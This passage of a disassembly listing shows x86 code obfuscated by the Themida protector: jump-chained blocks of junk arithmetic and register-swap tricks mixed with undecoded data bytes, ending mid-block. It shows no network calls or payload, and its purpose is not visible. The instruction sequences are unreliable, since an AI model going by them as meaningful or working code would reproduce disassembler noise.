mov edx, esp
add edx, 4
push ebx
jmp loc_575053
; ---------------------------------------------------------------------------
dd 0E942D687h, 0FFFFAC9Fh
; ---------------------------------------------------------------------------
loc_56F6C0: ; CODE XREF: Themida_:005747AEj
sub esp, 4
jmp loc_56C3AE
; ---------------------------------------------------------------------------
dd 79377FBEh, 5EF18908h, 8159CB29h, 0CF618EEBh, 84E95E37h
dd 68FFFF87h, 4193h, 0FF3E47E9h, 240489FFh, 4055854h, 2D000000h
dd 4, 31240433h, 4332404h, 24248B24h, 50242489h, 4B8h
dd 24440100h, 7A20E904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56F716: ; CODE XREF: Themida_:00564FB3j
mov ecx, 7E2679C1h
jmp loc_56A18A
; ---------------------------------------------------------------------------
dd 68242C89h, 1DB4CDEh, 12E1E9h
db 0
; ---------------------------------------------------------------------------
loc_56F72D: ; CODE XREF: Themida_:0056AD40j
add ecx, ebp
pop ebp
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
push ebx
mov bl, 0C9h
jmp loc_573A7E
; ---------------------------------------------------------------------------
dw 0EF01h
dd 0E92434FFh, 0FFFF6941h, 357FEA81h, 0F28150C4h, 22E278F8h
dd 5BE9D2F7h, 89000036h, 0B850243Ch, 160866B9h, 0E958C789h
dd 0C64h, 0EBE9E289h
db 72h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56F777: ; CODE XREF: Themida_:00569C00j
pop esp
jmp loc_5676A7
; ---------------------------------------------------------------------------
db 80h, 0F4h, 3Ah
dd 0E9A8CC80h, 0FFFFC76Ch, 5488BA52h, 0BD553288h, 34610D79h
dd 182ECD81h, 0DDF70B97h, 0FF4136E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56F7A1: ; CODE XREF: Themida_:00565E4Aj
push ecx
mov cl, 73h
or cl, 0C5h
jmp loc_572F7B
; ---------------------------------------------------------------------------
loc_56F7AC: ; CODE XREF: Themida_:0056A0E2j
push edx
push ecx
sub esp, 4
mov [esp], edi
push 39360E21h
mov edi, [esp]
add esp, 4
sub esp, 4
mov [esp], edx
mov edx, 4AA83612h
shl edx, 1
push 7261h
mov [esp], eax
mov eax, 46D43F1Ch
xor edx, eax
pop eax
push edx
mov edx, 29200F0Ch
jmp loc_56370C
; ---------------------------------------------------------------------------
loc_56F7ED: ; CODE XREF: Themida_:00571F83j
push eax
push dword ptr [esp+4]
mov eax, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
or eax, eax
jz loc_56836B
push dword ptr [edi+1Ch]
push dword ptr [esp]
pop ecx
push ebx
push esp
mov ebx, [esp]
add esp, 4
push ecx
mov ecx, 37042A11h
shl ecx, 1
dec ecx
not ecx
push eax
mov eax, 28B854EDh
jmp loc_569C30
; ---------------------------------------------------------------------------
loc_56F831: ; CODE XREF: Themida_:0056D932j
pop edx
push 2EB7h
mov [esp], esi
push ebx
mov ebx, 2289462Bh
mov esi, 2289462Fh
xor esi, ebx
pop ebx
and ecx, esi
jmp loc_56BB02
; ---------------------------------------------------------------------------
db 81h
dd 0CB2163CFh, 107EE93Fh, 0C6830000h, 24348704h, 4B9515Ch
dd 1000000h, 240C8BC8h, 4C481h, 0BD550000h, 2, 335DE829h
dd 4312404h, 52DDE924h, 46B00000h, 2C06E0C0h, 58C3008Ch
dd 0FF3D21E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56F895: ; CODE XREF: Themida_:00562312j
pop ecx
add ebp, 1D09EB6Fh
add eax, 1F4E21AFh
add eax, ebp
push esi
jmp loc_571F56
; ---------------------------------------------------------------------------
db 89h, 2 dup(24h)
dd 4BA52h, 54010000h, 8B5A0424h, 4FE9243Ch, 68FFFFA8h
dd 4DB4239Dh, 8124348Bh, 4C4h, 0BCF68100h, 316E96ABh, 5B26E9F2h
dd 0CD89FFFFh, 0FFDE02E9h, 6B9ABEFFh, 0BD552CD5h, 41775B6Dh
dd 0D1ED8145h, 315E8DF3h, 242C8BEEh, 0FF9E72E9h, 5AE6BDFFh
dd 0DDF77562h, 3212CD81h, 0EDC17822h, 0B62AE908h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56F912: ; CODE XREF: Themida_:005758C3j
sub ecx, 41890B6Bh
add ecx, esi
add ecx, 41890B6Bh
jmp loc_56846B
; ---------------------------------------------------------------------------
loc_56F925: ; CODE XREF: Themida_:00562687j
mov ecx, edx
push dword ptr [esp]
jmp loc_571E1A
; ---------------------------------------------------------------------------
db 83h
dd 48704C0h, 0E9505C24h, 33C0h, 4C481h, 0EB800000h, 0E9525063h
dd 777h
; ---------------------------------------------------------------------------
loc_56F94C: ; CODE XREF: Themida_:005730B9j
add edx, 100FBh
add edx, 8CF4E9Bh
push dword ptr [edx]
xor dword ptr [esp], 542E0912h
pop ecx
xor ecx, 542E0912h
jmp loc_56143A
; ---------------------------------------------------------------------------
dd offset loc_42C568
align 2
dw 0B7E9h
dd 68FFFF77h, 516232A5h, 566EE958h, 4B0FFFFh, 28E5B151h
dd 0C38059C8h, 80C3007Ch, 0F587CEBh, 34FFC0B6h, 242C8187h
dd 64D55E7h, 0E92434FFh, 1E8Fh, 7FD5E281h, 0C28107B8h
dd 0FBDFF504h, 148BD329h, 90E6E924h, 0E957FFFFh, 0FFFF5D0Ah
dd 24048B66h, 41D968h, 1A2DE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56F9D2: ; CODE XREF: Themida_:0056D132j
add esp, 4
add esp, 4
jmp loc_564321
; ---------------------------------------------------------------------------
dd 8904EC83h, 0E95E2414h, 0FFFF754Bh
; ---------------------------------------------------------------------------
loc_56F9EC: ; CODE XREF: Themida_:00571B91j
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
mov [esp], ebp
push ecx
push 4B472BD3h
pop ecx
add ecx, 233C2FE2h
jmp loc_576374
; ---------------------------------------------------------------------------
db 0E9h
dd 0FFFF1632h, 0FF241489h, 0E95A2404h, 0FFFF4CC6h
; ---------------------------------------------------------------------------
loc_56FA1C: ; CODE XREF: Themida_:0056D834j
pop eax
push edx
mov edx, esi
push 61F7h
mov [esp], edx
jmp loc_566EA2
; ---------------------------------------------------------------------------
loc_56FA2D: ; CODE XREF: Themida_:00571789j
not ebp
jmp loc_573B8A
; ---------------------------------------------------------------------------
dd 0E958C731h, 0FFFF7480h
; ---------------------------------------------------------------------------
loc_56FA3C: ; CODE XREF: Themida_:0056F051j
pop ecx
push 3DDAh
jmp loc_576329
; ---------------------------------------------------------------------------
loc_56FA47: ; CODE XREF: Themida_:0056583Dj
mov ebx, 200000h
jmp loc_56AEBD
; ---------------------------------------------------------------------------
loc_56FA51: ; CODE XREF: Themida_:0056641Aj
; Themida_:005744ACj
sub esp, 4
jmp loc_56A530
; ---------------------------------------------------------------------------
loc_56FA5C: ; CODE XREF: Themida_:00566A5Dj
pop esi
neg ebp
push ebx
mov ebx, 1DBD7B86h
dec ebx
xor ebx, 0E53E6F8Eh
xor ebp, ebx
jmp loc_565589
; ---------------------------------------------------------------------------
db 68h
dd 696Eh, 0BD242C89h, 6CB724ACh, 0FABB5357h, 4B7BF45Eh
dd 7A6AE381h, 81433C42h, 665190CBh, 611CE92Ah
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56FA9A: ; CODE XREF: Themida_:0056EC70j
push edi
push esp
pop edi
add edi, 4
push esi
mov esi, 6A392845h
add esi, 95C6D7BFh
add edi, esi
jmp loc_562775
; ---------------------------------------------------------------------------
dw 15Ah
dd 0ECE981D1h, 8B2C0659h, 54522414h, 4C2815Ah, 83000000h
dd 148704C2h, 24248B24h, 2474FF51h, 48F5904h, 0CFE5C24h
dd 5BE99C24h, 0C1FFFF15h, 0F38104EBh, 211E09F4h, 0FEBE5643h
dd 29575900h, 0DA315EF3h, 986BE95Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56FB02: ; CODE XREF: Themida_:00563022j
not edi
jmp loc_56EA94
; ---------------------------------------------------------------------------
db 81h, 0E6h, 22h
dd 8124DA2Eh, 481804C6h, 5EF38923h, 15BDF31h, 71E95FF8h
dd 89000057h, 48E9240Ch, 21FFFFFFh, 0C7815AD7h, 52EA049Eh
dd 0C655C781h, 0E9568C05h, 2EE1h, 0E904E9C1h, 0FFFF59A7h
dd 5D7AE95Bh, 248B0000h, 0C8B6624h, 79906824h, 4890000h
dd 2A846824h, 21680000h, 8900000Ch, 4812424h, 424h, 24048F00h
dd 4240481h, 0FF000000h, 48B2434h, 0E3895324h, 4C381h
dd 0C3810000h, 4, 0E9241C87h, 528Bh, 81E38953h, 4C3h, 4EB8300h
dd 5C241C87h, 0B9240C89h, 40h, 4EC81h, 1E90000h, 81FFFF1Ch
dd 4C3h, 4C38100h, 53000000h, 42474FFh, 0FFBA4AE9h, 0C8B66FFh
dd 0E0895024h, 4BF5756h, 57000000h, 0B7242C81h, 0E93FCC38h
dd 39D9h, 81240C8Bh, 4C4h, 4C48100h, 0E9000000h, 5B0Ch
dd 7031B9h, 2A6EBA59h, 0CA31213Eh, 0E9D72159h, 0FFFFB9BCh
dd 0E904C483h, 0FFFF89FBh
; ---------------------------------------------------------------------------
loc_56FC1C: ; CODE XREF: Themida_:0056B4DCj
dec esi
shr esi, 6
shr esi, 1
shr esi, 6
jmp loc_5728A0
; ---------------------------------------------------------------------------
dw 0C781h
dd 4, 0FF4F20E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56FC35: ; CODE XREF: Themida_:00566443j
push ebp
push esi
mov esi, 7807719Dh
jmp loc_569338
; ---------------------------------------------------------------------------
loc_56FC41: ; CODE XREF: Themida_:00566375j
shr bh, 7
jmp loc_568B79
; ---------------------------------------------------------------------------
db 5, 45h, 46h
dd 0D829603Dh, 3D46452Dh, 4EC8360h, 89242C89h, 4C581E5h
dd 0E9000000h, 475Fh
; ---------------------------------------------------------------------------
loc_56FC68: ; CODE XREF: Themida_:0056CEF7j
xor ebx, 2E1C4ED6h
xor edi, ebx
mov ebx, [esp]
add esp, 4
jmp loc_5632D8
; ---------------------------------------------------------------------------
dw 0DEB0h
dd 0B3E99A0Ch, 5D000050h, 4C181h, 0C870000h, 0A0E95C24h
dd 89000054h, 1DEE68E5h, 34890000h, 4EDABE24h, 0E68150B1h
dd 600E5D27h, 7DDD68h, 5101E900h, 1487FFFFh, 54515C24h
dd 0E9240C8Bh, 158Ah, 7E9C15Bh, 0D6E9D9F7h, 89FFFF92h
dd 40E9241Ch, 4FFFFCCh, 58C20001h, 6802E2C0h, 28E0h, 0B5240C89h
dd 0D898E97Fh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56FCEE: ; CODE XREF: Themida_:0056BB2Ej
pop ebx
xor ebx, edx
xor edx, ebx
xor ebx, edx
xchg esi, edx
jmp loc_5752FD
; ---------------------------------------------------------------------------
dd 0C3814B5Eh, 0CEE7BF9Dh, 0FF9B1CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56FD09: ; CODE XREF: Themida_:0056F4F7j
mov [esp], ebx
jmp loc_5633CE
; ---------------------------------------------------------------------------
db 8Fh, 4, 24h
dd 0E924248Bh, 0FFFF5034h, 0EE81D6F7h, 0EE878F4Eh, 0FFEC6BE9h
dd 4BD55FFh, 1000000h, 0EB815DEBh, 4, 0FF45F1E9h, 0EF8158FFh
dd 2, 5C243C87h, 241C8966h, 0FFF22BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56FD51: ; CODE XREF: Themida_:0056F55Aj
add esp, 4
mov edx, eax
mov eax, [esp]
add esp, 4
jmp loc_570D54
; ---------------------------------------------------------------------------
db 0B1h
dd 0BF3CE963h, 489FFFFh, 7CDF6824h, 34890000h, 71366824h
dd 525E1825h, 9D79C9BAh, 24448121h, 2D3E9C08h, 2454011Dh
dd 246C8108h, 2D3E9C08h, 44815A1Dh, 42EE0424h, 74295D53h
dd 6C810424h, 42EE0424h, 0E9575D53h, 479Eh, 335BD901h
dd 0C31240Ch, 240C3324h, 0FFC309E9h, 8AC181FFh, 173D924h
dd 240C8BC8h, 4C481h, 68520000h, 52BCh, 0FFF93FE9h, 0DFF74FFFh
dd 0D7F7D7F7h, 0B5F9C781h, 0F82978F9h, 543BE9h, 240C8B00h
dd 19B8E9h, 57D1F700h, 17B2BD55h, 0EF897D0Eh, 0D3C7815Dh
dd 0E933C24Dh, 5377h
; ---------------------------------------------------------------------------
loc_56FE14: ; CODE XREF: Themida_:005630C6j
add esi, 373C2382h
sub esp, 4
mov [esp], ecx
mov ecx, 1E0D4A36h
sub esi, ecx
pop ecx
mov edx, [esp]
add esp, 4
xchg esi, [esp]
jmp loc_562C06
; ---------------------------------------------------------------------------
loc_56FE36: ; CODE XREF: Themida_:0056BEDDj
xor eax, ecx
xor ecx, eax
xor eax, ecx
jmp loc_56AAED
; ---------------------------------------------------------------------------
loc_56FE41: ; CODE XREF: Themida_:00563F67j
not edx
jmp loc_56502D
; ---------------------------------------------------------------------------
dd 0CBE9C601h, 29000027h, 0EB815AD3h, 36112FDh, 0FFB3D6E9h
dd 4EC81FFh, 0E9000000h, 0FFFFD54Ch, 0E95FF989h, 0FFFF3D7Ah
dd 0BB241C89h, 3ED84169h, 0FF3C04E9h, 5BDA01FFh, 1702E958h
dd 3487FFFFh, 0B9515C24h, 4, 34FFCD01h
db 24h, 59h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
push esi
mov esi, 4
jmp loc_56EEEA
; ---------------------------------------------------------------------------
loc_56FEAA: ; CODE XREF: Themida_:00575B1Fj
mov edi, 79CB70D7h
xor edi, ebx
pop ebx
push ecx
mov ecx, 2975005Ah
sub edi, ecx
jmp loc_570D89
; ---------------------------------------------------------------------------
db 89h
dd 32E953E6h, 89FFFF13h, 0CB0158C1h, 81240C8Bh, 4C4h, 4C38300h
dd 5C241C87h, 3302C783h, 3C31243Ch, 243C3324h, 2424D25Ch
dd 1150E99Ch, 0F189FFFFh, 0F7D9875Eh, 81D987D3h, 4508B6F1h
dd 78B85053h, 401A931Dh, 0BD08482Dh, 2E8C11Eh, 0FFE62BE9h
dd 895352FFh, 5BDA89CBh, 0FF3068E9h, 629068FFh, 0D4680000h
dd 89000063h, 4832424h, 0FCE90424h, 80FFFF8Ah, 0C58027CDh
dd 59E8009Fh, 8E2CF800h, 0FF8953E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56FF49: ; CODE XREF: Themida_:005673E3j
push ebp
mov ebp, edx
mov ecx, ebp
pop ebp
pop edx
jmp loc_56F056
; ---------------------------------------------------------------------------
db 0C1h, 0E5h, 8
dd 33AECD81h, 0F5814FE2h, 0DFF7BFACh, 875DEA01h, 248B2414h
dd 0C8B6624h, 6AA6E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56FF76: ; CODE XREF: Themida_:00575577j
mov [esp], edi
jmp loc_57195B
; ---------------------------------------------------------------------------
dw 0F801h
a_sY db '_é Y',0
align 2
loc_56FF86: ; CODE XREF: Themida_:00566BDDj
add ebp, 4
add ebp, 4
jmp loc_56B905
; ---------------------------------------------------------------------------
loc_56FF94: ; CODE XREF: Themida_:00576135j
jmp loc_561042
; ---------------------------------------------------------------------------
db 81h, 0EBh, 0FAh
dd 4B72187Bh, 9762F381h, 0D901E209h, 4E9815Bh, 87000000h
dd 53E9240Ch
db 13h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56FFB7: ; CODE XREF: Themida_:005714A8j
mov ebx, [esp]
jmp loc_57654C
; ---------------------------------------------------------------------------
loc_56FFBF: ; CODE XREF: Themida_:0057209Fj
pop dword ptr [esp]
mov esp, [esp]
or edx, eax
shl edx, 1
push ebx
mov ebx, esp
push esi
mov esi, 4
jmp loc_569749
; ---------------------------------------------------------------------------
aAilps4 db '€ëLPé4',0Ah,0
align 10h
dd 720BCF81h, 0DFF744B9h, 8C3EF81h, 0FE099691h, 7AE6815Fh
dd 8154F05Dh, 90678BCEh, 81D6F770h, 0F07000C6h, 8BF30174h
dd 89522434h, 4C281E2h, 81000000h, 4C2h, 24143300h, 625EE9h
dd 24048900h, 405E089h, 55000000h, 4BDh, 7FB22D00h, 0E8016A47h
dd 477FB205h, 86E95D6Ah, 89FFFFAAh, 2BF243Ch, 1000000h
dd 0C875FF9h, 24248B24h, 2EC81h, 89660000h, 0EC83240Ch
dd 242C8904h, 0C5815D54h, 4, 932EE952h, 48FFFFFh, 24248B24h
dd 0E904EC83h, 0FFFFFC4Fh
; ---------------------------------------------------------------------------
loc_570080: ; CODE XREF: Themida_:005610CEj
add ebp, 3CF20A7Ch
add ebp, 2A420817h
pop esi
push ebp
push dword ptr [esp+4]
pop ebp
jmp loc_5682EF
; ---------------------------------------------------------------------------
loc_570098: ; CODE XREF: Themida_:00564379j
add ebp, 0C83239Bh
sub ebp, 0D1ECF6E8h
sub ecx, ebp
pop ebp
xor ecx, 0B9D9FECCh
jmp loc_574A6E
; ---------------------------------------------------------------------------
dw 0C89h
dd 2716E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5700BA: ; CODE XREF: Themida_:00563B37j
pop edi
mov ecx, [esp]
jmp loc_576A76
; ---------------------------------------------------------------------------
db 0B6h
dd 0B8C6809Eh, 0E95AF488h, 0FFFFA472h, 0E932FF66h, 0FFFF0F6Ah
; ---------------------------------------------------------------------------
loc_5700D8: ; CODE XREF: Themida_:005628D3j
sub esp, 4
mov [esp], ebp
mov ebp, 33C72082h
jmp loc_56AE62
; ---------------------------------------------------------------------------
db 80h
dd 0EFC02EC7h, 2D7FE902h, 148B0000h, 4C48124h, 87000000h
dd 248B242Ch, 24040824h, 0F34E99Ch, 8B66FFFFh, 1668240Ch
dd 89000065h, 9EE9243Ch
db 60h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_57011F: ; CODE XREF: Themida_:005750DBj
xchg eax, [esp]
not eax
jmp loc_576934
; ---------------------------------------------------------------------------
loc_570129: ; CODE XREF: Themida_:0057439Bj
xor ecx, esi
pop esi
push 10CBh
mov [esp], eax
sub esp, 4
jmp loc_56AE4D
; ---------------------------------------------------------------------------
a341434LSiuh db '[34$14$34$‹$$S‰ãh",',0
align 4
dd 0BF243C89h, 78684750h, 0FF1B50E9h, 6C28BEFFh, 0BAE96EF4h
dd 5000048h, 79B202ADh, 83243C8Bh, 0DE6804C4h, 8900007Bh
dd 9CBD242Ch, 0E92BAE00h, 0FFFF6985h, 56E9C201h, 0D1FFFFE0h
dd 3BBD55E8h, 29B72562h, 0E4E95DE8h, 66FFFFE8h, 6824048Bh
dd 2B37h, 89241489h, 2981E9E2h, 2C890000h, 37336824h, 2C8B433Fh
dd 4C48324h, 36F5814Dh, 29433F37h, 242C8BEAh, 0FF8234E9h
dd 9FF181FFh, 0E94BE319h, 0FFFFEDD9h, 582434FFh, 0FF8BC7E9h
dd 4EC83FFh, 0E9243489h, 0FFFFF6CFh, 0E99C5166h, 0FFFF0E4Ah
dd 1738C281h, 0EA810890h, 1FFE416Eh, 0C281FA29h, 1FFE416Eh
dd 1738EA81h, 33E90890h
db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_570217: ; CODE XREF: Themida_:0056DEB8j
push 58F4h
mov [esp], ebp
mov ebp, 15AC356Ch
push esi
mov esi, 661E6E95h
push esi
mov esi, 0D7F54A8h
add esi, 12CC233Eh
xor esi, 86923384h
jmp loc_5679B3
; ---------------------------------------------------------------------------
db 87h, 0Ch, 24h
dd 4EC815Ch, 89000000h, 0E389241Ch, 0FF5B26E9h, 0C0B60FFFh
dd 0E98734FFh, 0FFFF0DE2h, 88C3FE59h, 0C05B66DEh, 0C6FE07E6h
dd 0B5EE80h, 2434FFF0h, 0E089505Ah, 0FF1B0FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_57027D: ; CODE XREF: Themida_:00565028j
add edx, ebp
mov ebp, [esp]
add esp, 4
jmp loc_575F43
; ---------------------------------------------------------------------------
dw 0EC83h
dd 24348904h, 0C681E689h, 4, 8704C683h, 0E95C2434h, 1678h
dd 8158C301h, 2C27E6C7h, 0E9DF295Bh, 105Dh, 6E21B9h, 0F9C7810Eh
dd 81195D0Ch, 0EB1918EFh, 4EC78155h, 112D72Ch, 4EEF81CFh
dd 5112D72Ch, 0EB1918B9h, 59CF0155h, 0CF9EF81h, 0C8B195Dh
dd 0E2895224h, 4C281h, 0C2830000h, 24148704h, 5F52E95Ch
dd 6DBEFFFFh, 0E958C14Bh, 0FFFFCD15h, 4B850h, 0C2290000h
dd 582434FFh, 0FF4C04E9h, 6C815DFFh, 66FD0424h, 448121F3h
dd 16CC0424h, 6C01126Ch, 6C810424h, 16CC0424h, 4481126Ch
dd 66FD0424h, 0BE5621F3h, 6DE7534Eh, 8247401h, 35E1E9h
dd 0E9E38900h, 1C9Eh, 0C208FCB0h, 4512E958h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_57035A: ; CODE XREF: Themida_:00562407j
push edi
mov edi, 4
jmp loc_57217E
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 83000000h, 348904ECh, 57E68924h, 0A6239BFh, 81D7F730h
dd 9826C1E7h, 0C4F7815Eh, 14E9004h, 41CE9FEh, 3C290000h
dd 0F6BE5624h, 12CC51Eh, 5E042474h, 0FF242C81h, 8B625924h
dd 0C483243Ch, 0A408E904h, 1431FFFFh, 24143324h, 5EA3E9h
dd 0DEEB8000h, 0B3535166h, 0B2526655h, 0E9D18871h, 0FFFF70DDh
dd 0E924248Bh, 0FFFFEF13h, 6EE9F829h, 53FFFF70h, 0F8008CB7h
dd 0FF0DD9E9h, 0E3C380FFh, 347C6855h, 2C8B117Fh, 4C48124h
dd 52000000h, 0FF545FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5703FD: ; CODE XREF: Themida_:00567797j
sub edx, 100FBh
jmp loc_5730B7
; ---------------------------------------------------------------------------
dd 4032C381h, 0C8B166Ch, 4C48124h, 83000000h, 0FF5304C3h
dd 0E9042474h, 0FFFFA174h, 40558h, 4050000h, 33000000h
dd 4312404h, 24043324h, 0FFA950E9h, 4C481FFh, 4D000000h
dd 0BA52D5F7h, 42B3382Ch, 0D5F7EA87h, 95E9EA87h, 66FFFF30h
dd 0E9241C8Bh, 0FFFFECF1h, 71ABED81h, 48B1C97h, 4C48324h
dd 5C242C87h, 8904EC83h, 0CF89243Ch, 4229E952h, 0FBFFFFFh
dd 5206227h, 191F1E0Ah, 0A2DF829h, 5F191F1Eh, 9BD7E953h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_570496: ; CODE XREF: Themida_:0056D621j
add ebx, 4
push edi
jmp loc_56760C
; ---------------------------------------------------------------------------
dw 0C89h
dd 75AB924h, 25E9071Ch, 54FFFF39h, 4CA7E95Ah, 81590000h
dd 4C4h, 4C18100h, 0E9000000h, 0FFFF9DD5h
; ---------------------------------------------------------------------------
loc_5704C8: ; CODE XREF: Themida_:0056787Cj
mov edx, ebx
pop ebx
jmp loc_565C28
; ---------------------------------------------------------------------------
dd 24048B66h, 0FF707BE9h, 0C30158FFh, 38BAE9h, 43EBD100h
dd 73B7BF57h, 0FB01341Ah, 38D2E9h, 48B6600h, 0E3895324h
dd 4C381h, 4BE90000h, 89000010h, 7DB82404h, 507AD814h
dd 4A74E9h, 2EEA8100h, 8B1B2C68h, 8951243Ch, 4C181E1h
dd 83000000h, 0C8704C1h, 658FE924h, 0B850FFFFh, 0ED659E7Dh
dd 0FF671DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_570539: ; CODE XREF: Themida_:0056737Aj
mov ecx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
jmp loc_5644E8
; ---------------------------------------------------------------------------
db 83h
dd 348704C6h, 5E18E924h, 3B66FFFFh, 0E6E99CC8h
db 47h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_57056B: ; CODE XREF: Themida_:005762A4j
dec ebp
neg ebp
and ebp, 35F91154h
sub ebp, 0E2C0BA9Eh
add esi, ebp
pop ebp
not esi
push eax
mov eax, 1B6A64FEh
xor esi, eax
pop eax
xor esi, 0B9719429h
add edx, esi
jmp loc_56B6BA
; ---------------------------------------------------------------------------
loc_570595: ; CODE XREF: Themida_:0056E960j
xor eax, 0DA53AF4Eh
jmp loc_56BECD
; ---------------------------------------------------------------------------
db 81h
dd 0ED543AC6h, 4ED6F76Fh, 0FFAE41E9h, 0A90E9FFh, 68ADFFFFh
dd 1617h, 50241C89h, 0D1253CB8h, 2C81505Ah, 855F3E24h
dd 473DE963h, 405FFFFh, 0E9000000h, 0FFFF76B3h, 5B54535Fh
dd 4C381h, 0BE560000h, 4, 348BF301h, 4C48124h, 87000000h
dd 315C241Ch, 3074E9D0h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5705FE: ; CODE XREF: Themida_:0056745Bj
push esi
jmp loc_57667F
; ---------------------------------------------------------------------------
loc_570604: ; CODE XREF: Themida_:0056AF8Fj
add esp, 4
loc_570607: ; CODE XREF: Themida_:00565FE1j
; Themida_:loc_56D46Bj
push dword ptr [esp]
pop ebx
sub esp, 4
mov [esp], edx
mov edx, esp
push edi
push edx
push edi
push 2440227Dh
jmp loc_5626E9
; ---------------------------------------------------------------------------
dd 4DA5E9ACh, 45BFFFFh, 2CC304ABh, 4F00056h, 0E9C32C56h
dd 0FFFFE32Dh, 4C481h, 48F0000h, 1C895C24h, 2CA0B324h
dd 66D800EEh, 0E9EEB151h, 0FFFF6728h
; ---------------------------------------------------------------------------
loc_570654: ; CODE XREF: Themida_:0056E9D6j
mov ebp, 16576696h
shr ebp, 7
xor ebp, 45560A40h
sub ebp, 4A414F7Dh
xor ebp, 4D076831h
add ebp, 901B7532h
jmp loc_565286
; ---------------------------------------------------------------------------
db 52h, 0BAh, 0E2h
dd 2101A416h, 0E9575AD5h, 0FFFF157Ah, 0EA623D05h, 76B95152h
dd 8160042Fh, 7710C5F1h, 8BE98176h, 2982BE67h, 0C30159C8h
dd 0E924048Bh, 34FDh
; ---------------------------------------------------------------------------
loc_5706AC: ; CODE XREF: Themida_:00562E2Dj
sub ebx, edx
push edi
sub esp, 4
mov [esp], edx
mov edx, 3D01717Dh
xor edx, 69EC09F0h
mov edi, edx
mov edx, [esp]
push edi
mov edi, esp
jmp loc_564082
; ---------------------------------------------------------------------------
dd 4D00059h, 20E95AC2h, 51000013h, 0E80042B5h, 0C3B5E959h
dd 0FF68FFFFh, 8900004Dh, 6856241Ch, 776Bh, 0BB241C89h
dd 62FE55DFh, 4B02E3C1h, 1AF38143h, 89F6D203h, 0E7E95BDEh
dd 5D000029h, 0FF673FE9h, 84F780FFh, 0FF6136E9h, 5393BEFFh
dd 0EFE9582Fh, 4FFFFC3h, 90B5518Eh, 2C59E828h, 281E04C4h
dd 41E2CD8h, 689004C4h, 0C03h, 83240C89h, 1C8904ECh, 66246824h
dd 0C890000h, 80F6B524h, 0E580CACDh, 156EE9B6h, 685FFFFFh
dd 238Fh, 0FFFA49E9h, 8BF301FFh, 0E8E92434h, 66FFFF19h
dd 5624048Bh, 0BA52E689h, 7CB616A4h, 0F702EAC1h, 0EEE281DAh
dd 423D2707h, 3052E9h, 2404FF00h, 8A8E99Ch, 0F101FFFFh
dd 1E81E95Eh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5707A2: ; CODE XREF: Themida_:0056471Bj
mov [esp], edi
jmp loc_566AF0
; ---------------------------------------------------------------------------
dw 505Fh
dd 0B662D3B8h, 84BE5663h, 81365227h, 0E44553F6h, 5EF03155h
dd 0FFF683E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5707C5: ; CODE XREF: Themida_:00563DDBj
push edi
mov edi, 588F1C60h
jmp loc_567164
; ---------------------------------------------------------------------------
loc_5707D0: ; CODE XREF: Themida_:00563984j
dec edi
sub edi, 1DACEF7Bh
add eax, edi
jmp loc_56F069
; ---------------------------------------------------------------------------
loc_5707DE: ; CODE XREF: Themida_:00575674j
mov ah, 92h
add ah, 1
add ah, 66h
shl ah, 2
push bx
jmp loc_575471
; ---------------------------------------------------------------------------
dd 59E9D9F7h, 81FFFF16h, 4EFh, 243C8700h, 2424895Ch, 0FFD2C5E9h
dd 21E95CFFh
db 22h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_57080F: ; CODE XREF: Themida_:0056C6A5j
add esp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
push 19A8h
mov [esp], ecx
push 45ADh
mov [esp], edi
mov edi, 16F31FD9h
push 75C7h
mov [esp], edi
jmp loc_56CEBF
; ---------------------------------------------------------------------------
loc_570843: ; CODE XREF: Themida_:005719EDj
mov ecx, eax
jmp loc_570C5A
; ---------------------------------------------------------------------------
dw 0EC81h
dd 4, 68243489h, 7E7E5D0Eh, 0FF87E1E9h, 4E6C1FFh, 0FFB053E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_570865: ; CODE XREF: Themida_:0056590Dj
mov cl, 1Ah
mov al, 6Dh
jmp loc_56CA32
; ---------------------------------------------------------------------------
dw 2C87h
dd 24248B24h, 24048F54h, 4BD55h, 44810000h, 55720424h
dd 6C010466h, 6C810424h, 55720424h, 55E90466h
db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_570897: ; CODE XREF: Themida_:0057482Bj
mov [esp], esi
mov esi, 6CBC5C63h
jmp loc_576B26
; ---------------------------------------------------------------------------
dd 1811E95Eh, 0EA810000h, 49E124A5h, 0DB78EA81h, 0D5013A2Eh
dd 4C5815Ah, 33000000h, 2C31242Ch, 242C3324h, 774E95Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5708CE: ; CODE XREF: Themida_:00572358j
mov ebp, 52A55EB4h
